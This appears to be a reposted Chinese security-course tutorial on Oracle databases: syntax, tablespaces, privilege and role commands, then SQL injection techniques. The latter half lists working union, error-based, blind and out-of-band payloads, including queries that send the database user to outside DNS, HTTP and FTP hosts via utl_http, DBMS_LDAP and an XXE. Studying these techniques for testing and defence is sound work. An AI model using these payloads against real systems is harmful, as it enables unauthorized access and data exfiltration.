一、Oracle數(shù)據(jù)庫介紹
Oracle數(shù)據(jù)庫系統(tǒng)是世界上流行的關(guān)系數(shù)據(jù)庫管理系統(tǒng),系統(tǒng)可移植性好、使用方便、功能強(qiáng),適用于各類大、中、小微機(jī)環(huán)境。它是一種高效率的、可靠性好的、適應(yīng)高吞吐量的數(shù)據(jù)庫方案。
Oracle服務(wù)默認(rèn)端口:1521
Oracle和MySQL數(shù)據(jù)庫語法大致相同,結(jié)構(gòu)不太相同。最大的一個特點(diǎn)就是oracle可以調(diào)用Java代碼。
Oracle要求select … from 后必須要有查詢的表名
二、Oracle和MySQL的語法差異:
-
Oracle要求select后必須指明要查詢的表名,可以用dual。
-
Oracle使用 || 拼接字符串,MySQL中為或運(yùn)算。
-
單引號和雙引號在Oracle中雖然都是字符串,但是雙引號可以用來消除關(guān)鍵字,比如sysdate。
-
Oracle中l(wèi)imit應(yīng)該使用虛表中的rownum字段通過where條件判斷。
-
Oracle中沒有空字符,'‘和’null’都是null,而MySQL中認(rèn)為’'仍然是一個字符串。
-
Oracle對數(shù)據(jù)格式要求嚴(yán)格,比如union select的時候
三、Oracle的數(shù)據(jù)庫結(jié)構(gòu)
對于“數(shù)據(jù)庫”這個概念而言,Oracle采用了”表空間“的定義。數(shù)據(jù)文件就是由多個表空間組成的,這些數(shù)據(jù)文件和相關(guān)文件形成一個完整的數(shù)據(jù)庫。
當(dāng)數(shù)據(jù)庫創(chuàng)建時,Oracle 會默認(rèn)創(chuàng)建五個庫:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP:
- SYSTEM:這個用于是存儲系統(tǒng)表和管理配置等基本信息
- SYSAUX:類似于 SYSTEM,主要存放一些系統(tǒng)附加信息,以便減輕 SYSTEM 的空間負(fù)擔(dān)
- UNDOTBS:用于事務(wù)回退等
- TEMP:作為緩存空間減少內(nèi)存負(fù)擔(dān)
- USERS:就是存儲我們定義的表和數(shù)據(jù)
在Oracle中每個庫中均存在一張dual表,這個表是虛表
,并沒有實(shí)際的存儲意義,它永遠(yuǎn)只存儲一條數(shù)據(jù),因?yàn)镺racle的SQL語法要求select后必須跟上from,所以我們通常使用dual來作為計(jì)算、查詢時間等SQL語句中from之后的虛表占位。舉例:select 1+1 from dual。
Oracle要求select后必須指明要查詢的表名,可以用dual。
四、Oracle的重點(diǎn)系統(tǒng)表
- – dba_tables : 系統(tǒng)里所有的表的信息,需要DBA權(quán)限才能查詢
- – all_tables : 當(dāng)前用戶有權(quán)限的表的信息
- – user_tables: 當(dāng)前用戶名下的表的信息
- – DBA_ALL_TABLES:DBA 用戶所擁有的或有訪問權(quán)限的對象和表
- – ALL_ALL_TABLES:某一用戶擁有的或有訪問權(quán)限的對象和表
- – USER_ALL_TABLES:某一用戶所擁有的對象和表
五、Oracle權(quán)限分類
在Oracle中,根據(jù)系統(tǒng)管理方式不同,將Oracle權(quán)限分為系統(tǒng)權(quán)限與實(shí)體權(quán)限兩類。系統(tǒng)權(quán)限是指是否被授權(quán)用戶可以連接到數(shù)據(jù)庫上,在數(shù)據(jù)庫中可以進(jìn)行哪些系統(tǒng)操作。而實(shí)體權(quán)限是指用戶對具體的模式實(shí)體(schema)所擁有的權(quán)限。
-
系統(tǒng)權(quán)限:系統(tǒng)規(guī)定用戶使用數(shù)據(jù)庫的權(quán)限。(系統(tǒng)權(quán)限是對用戶而言)。
-
實(shí)體權(quán)限:某種權(quán)限用戶對其它用戶的表或視圖的存取權(quán)限。(是針對表或視圖而言的)。
1、系統(tǒng)權(quán)限
- DBA:擁有全部特權(quán),是系統(tǒng)最高權(quán)限,只有DBA才可以創(chuàng)建數(shù)據(jù)庫結(jié)構(gòu)。
- RESOURCE:擁有Resource權(quán)限的用戶只可以創(chuàng)建實(shí)體,不可以創(chuàng)建數(shù)據(jù)庫結(jié)構(gòu)。
- CONNECT:擁有Connect權(quán)限的用戶只可以登錄Oracle,不可以創(chuàng)建實(shí)體,不可以創(chuàng)建數(shù)據(jù)庫結(jié)構(gòu)。
對于普通用戶:授予connect, resource權(quán)限。
對于DBA管理用戶:授予connect,resource, dba權(quán)限。
系統(tǒng)權(quán)限授權(quán)命令:
系統(tǒng)權(quán)限只能由DBA用戶授出:sys, system(最開始只能是這兩個用戶)
授權(quán)命令:
SQL> grant connect, resource, dba to 用戶名1 [,用戶名2]…;
注:普通用戶通過授權(quán)可以具有與system相同的用戶權(quán)限,但永遠(yuǎn)不能達(dá)到與sys用戶相同的權(quán)限,system用戶的權(quán)限也可以被回收。
例:
SQL> connect system/manager SQL> Create user user50 identified by user50; SQL> grant connect, resource to user50;
查詢用戶擁有哪里權(quán)限:
SQL> select from dba_role_privs; SQL> select from dba_sys_privs; SQL> select * from role_sys_privs;
查自己擁有哪些系統(tǒng)權(quán)限:
SQL> select * from session_privs;
刪除用戶:
SQL> drop user 用戶名 cascade; //加上cascade則將用戶連同其創(chuàng)建的東西全部刪除
系統(tǒng)權(quán)限傳遞:增加WITH ADMIN OPTION選項(xiàng),則得到的權(quán)限可以傳遞。
SQL> grant connect, resorce to user50 with admin option; //可以傳遞所獲權(quán)限。
系統(tǒng)權(quán)限回收:系統(tǒng)權(quán)限只能由DBA用戶回收
SQL> Revoke connect, resource from user50;
說明:
1)如果使用WITH ADMIN OPTION為某個用戶授予系統(tǒng)權(quán)限,那么對于被這個用戶授予相同權(quán)限的所有用戶來說,取消該用戶的系統(tǒng)權(quán)限并不會級聯(lián)取消這些用戶的相同權(quán)限。
2)系統(tǒng)權(quán)限無級聯(lián),即A授予B權(quán)限,B授予C權(quán)限,如果A收回B的權(quán)限,C的權(quán)限不受影響;系統(tǒng)權(quán)限可以跨用戶回收,即A可以直接收回C用戶的權(quán)限。
2、實(shí)體權(quán)限
- select, update, insert, alter, index, delete, all
#all包括所有權(quán)限 - execute
#執(zhí)行存儲過程權(quán)限
user01:
SQL> grant select, update, insert on product to user02;
SQL> grant all on product to user02;
user02:
SQL> select * from user01.product;
// 此時user02查user_tables,不包括user01.product這個表,但如果查all_tables則可以查到,因?yàn)樗梢栽L問。
將表的操作權(quán)限授予全體用戶:
SQL> grant all on product to public;
// public表示是所有的用戶,這里的all權(quán)限不包括drop。
實(shí)體權(quán)限數(shù)據(jù)字典:
SQL> select owner, table_name from all_tables; // 用戶可以查詢的表
SQL> select table_name from user_tables; // 用戶創(chuàng)建的表
SQL> select grantor, table_schema, table_name, privilege from all_tab_privs; // 獲權(quán)可以存取的表(被授權(quán)的)
SQL> select grantee, owner, table_name, privilege from user_tab_privs; // 授出權(quán)限的表(授出的權(quán)限)
DBA用戶可以操作全體用戶的任意基表(無需授權(quán),包括刪除):
DBA用戶:
SQL> Create table stud02.product( id number(10), name varchar2(20));
SQL> drop table stud02.emp;
SQL> create table stud02.employee as select * from scott.emp;
實(shí)體權(quán)限傳遞(with grant option):
user01: SQL> grant select, update on product to user02 with grant option;
// user02得到權(quán)限,并可以傳遞。
實(shí)體權(quán)限回收:
user01:
SQL>Revoke select, update on product from user02;
//傳遞的權(quán)限將全部丟失。
說明:
如果取消某個用戶的對象權(quán)限,那么對于這個用戶使用WITH GRANT OPTION授予權(quán)限的用戶來說,同樣還會取消這些用戶的相同權(quán)限,也就是說取消授權(quán)時級聯(lián)的。
3、管理角色
建一個角色:
sql>create role role1;
授權(quán)給角色:
sql>grant create any table,create procedure to role1;
授予角色給用戶:
sql>grant role1 to user1;
查看角色所包含的權(quán)限:
sql>select * from role_sys_privs;
創(chuàng)建帶有口令以角色(在生效帶有口令的角色時必須提供口令):
sql>create role role1 identified by password1;
修改角色:是否需要口令
sql>alter role role1 not identified;
sql>alter role role1 identified by password1;
設(shè)置當(dāng)前用戶要生效的角色 (注:角色的生效是一個什么概念呢?假設(shè)用戶a有b1,b2,b3三個角色,
那么如果b1未生效,則b1所包含的權(quán)限對于a來講是不擁有的,
只有角色生效了,角色內(nèi)的權(quán)限才作用于用戶,
最大可生效角色數(shù)由參數(shù)MAX_ENABLED_ROLES設(shè)定;
在用戶登錄后,oracle將所有直接賦給用戶的權(quán)限和用戶默認(rèn)角色中的權(quán)限賦給用戶。)
sql>set role role1; //使role1生效
sql>set role role,role2; //使role1,role2生效
sql>set role role1 identified by password1; //使用帶有口令的role1生效
sql>set role all; //使用該用戶的所有角色生效
sql>set role none; //設(shè)置所有角色失效
sql>set role all except role1; //除role1外的該用戶的所有其它角色生效。
sql>select * from SESSION_ROLES; //查看當(dāng)前用戶的生效的角色。
修改指定用戶,設(shè)置其默認(rèn)角色
sql>alter user user1 default role role1;
sql>alter user user1 default role all except role1;
刪除角色
sql>drop role role1;
角色刪除后,原來擁用該角色的用戶就不再擁有該角色了,相應(yīng)的權(quán)限也就沒有了。
說明:
1)無法使用WITH GRANT OPTION為角色授予對象權(quán)限
2)可以使用WITH ADMIN OPTION 為角色授予系統(tǒng)權(quán)限,取消時不是級聯(lián)
六、oracle常用信息查詢方法
1、獲取數(shù)據(jù)庫版本信息
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25';
2、獲取操作系統(tǒng)版本信息
SELECT banner FROM v$version WHERE banner LIKE 'TNS%25';
3、獲取當(dāng)前數(shù)據(jù)庫
SELECT name FROM v$database;
4、獲取數(shù)據(jù)庫用戶
SELECT user FROM dual;
5、獲取所有數(shù)據(jù)庫用戶
SELECT username FROM all_users;
SELECT name FROM sys.user$; -- 需要高權(quán)限
6、獲取當(dāng)前用戶權(quán)限
SELECT * FROM session_privs;
7、獲取當(dāng)前用戶有權(quán)限的所有數(shù)據(jù)庫
SELECT DISTINCT owner, table_name FROM all_tables;
8、獲取表,all_tables類似于MySQL中的information_schema.tables
SELECT * FROM all_tables;
9、獲取字段名
SELECT column_name FROM all_tab_columns;
10、在Oracle啟動時,在 userenv 中存儲了一些系統(tǒng)上下文信息,通過 SYS_CONTEXT 函數(shù),我們可以取回相應(yīng)的參數(shù)值。包括當(dāng)前用戶名等等。
SELECT SYS_CONTEXT('USERENV','SESSION_USER') from dual;
七、聯(lián)合查詢注入
1、order by 猜字段數(shù)量
union select進(jìn)行查詢,需要注意的是每一個字段都需要對應(yīng)前面select的數(shù)據(jù)類型(字符串/數(shù)字)。所以我們一般先使用null字符占位,然后逐位判斷每個字段的類型,舉例:
?username=admin' union select null,null,null from dual --+ 正常
?username=admin' union select 1,null,null from dual --+ 正常說明第一個字段是數(shù)字型
?username=admin' union select 1,2,null from dual --+ 第二個字段為數(shù)字時錯誤
?username=admin' union select 1,'asd',null from dual --+ 正常,就為字符串 依此類推
2、查數(shù)據(jù)庫版本和用戶名
?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual --+
3、查當(dāng)前數(shù)據(jù)庫
?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual --+
4、查表
wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已經(jīng)拋棄,可以用LISTAGG()替代
但是LISTAGG()返回的是varchar類型,如果數(shù)據(jù)表很多會出現(xiàn)字符串長度過長的問題。這個時候可以使用通過字符串截取來進(jìn)行。
?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual --+
5、查字段
?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual --
八、報錯注入
報錯注入常用函數(shù):
1、utl_inaddr.get_host_name
select utl_inaddr.get_host_name((select user from dual)) from dual;
11g之后,使用此函數(shù)的數(shù)據(jù)庫用戶需要有訪問網(wǎng)絡(luò)的權(quán)限
2、ctxsys.drithsx.sn
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
處理文本的函數(shù),參數(shù)錯誤時會報錯。
3、CTXSYS.CTX_REPORT.TOKEN_TYPE
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
4、XMLType
?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --+
注意url編碼,如果返回的數(shù)據(jù)有空格的話,它會自動截斷,導(dǎo)致數(shù)據(jù)不完整,這種情況下先轉(zhuǎn)為 hex,再導(dǎo)出。
5、dbms_xdb_version.checkin
select dbms_xdb_version.checkin((select user from dual)) from dual;
6、dbms_xdb_version.makeversioned
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
7、dbms_xdb_version.uncheckout
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
8、dbms_utility.sqlid_to_sqlhash
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
9、ordsys.ord_dicom.getmappingxpath
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
10、UTL_INADDR.get_host_name
select UTL_INADDR.get_host_name((select user from dual)) from dual;
11、UTL_INADDR.get_host_address
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
九、盲注
1、布爾盲注
使用簡單的字符串比較來進(jìn)行,比如:
?username=admin' and (select substr(user, 1, 1) from dual)='S' --
通過decode配合除數(shù)為0來進(jìn)行布爾盲注,比如:
?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --+
2、時間盲注
時間延遲函數(shù):DBMS_PIPE.RECEIVE_MESSAGE()函數(shù)
dbms_pipe.receive_message(‘RDS’, 10) #將為從RDS管道返回的數(shù)據(jù)等待10秒。
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;
還可以配合decode:
select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;
十、帶外OOB
類似于MySQL load_file的帶外盲注。OOB 都需要發(fā)起網(wǎng)絡(luò)請求的權(quán)限,有限制。
1、需要出外網(wǎng)HTTP
使用函數(shù):utl_http.request()
select utl_http.request('http://localhost:8080/index?username=' || (select user from dual)) from dual;
2、dns解析帶外
使用函數(shù):utl_inaddr.get_host_address
select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual;
3、SYS.DBMS_LDAP.INIT
SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;
這個函數(shù)在 10g/11g 中是 public 權(quán)限文章來源:http://www.zghlxwxcb.cn/news/detail-666082.html
4、HTTPURITYPE
SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;
5、Oracle XXE (CVE-2014-6577)
說是xxe,實(shí)際上應(yīng)該算是利用xml的加載外部文檔來進(jìn)行數(shù)據(jù)帶外。支持http和ftp文章來源地址http://www.zghlxwxcb.cn/news/detail-666082.html
- http
select 1 from dual where 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.124.1/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual);
- ftp
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;
到了這里,關(guān)于網(wǎng)絡(luò)安全進(jìn)階學(xué)習(xí)第十五課——Oracle SQL注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!